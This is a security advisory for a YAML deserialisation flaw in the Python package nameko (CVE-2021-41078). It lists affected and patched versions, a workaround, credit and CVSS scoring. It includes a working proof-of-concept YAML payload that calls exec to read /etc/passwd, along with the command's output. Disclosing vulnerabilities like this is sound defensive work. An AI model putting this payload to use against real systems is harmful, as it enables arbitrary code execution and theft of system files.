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Arbitrary code execution due to YAML deserialization

High
mattbennett published GHSA-6p52-jr3q-c94g Oct 19, 2021

Package

pip nameko (pip)

Affected versions

<2.14.0, <3.0.0rc10

Patched versions

2.14.0, 3.0.0rc10

Description

Impact

Nameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:

# malicious.yaml
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"
$ nameko run --config malicious.yaml test
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
... 

Patches

The problem was fixed in #722 and released in version 2.14.0, and in rc10 of the v3 pre-release.

Versions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.

Workarounds

The vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.

For more information

If you have any questions or comments about this advisory please use the Tidelift security contact.

Credit

This vulnerability was found and reported by Masatoshi Yoshizawa @ yamory Security Team.

Severity

High
8.6
/ 10

CVSS base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CVE ID

CVE-2021-41078

Weaknesses

No CWEs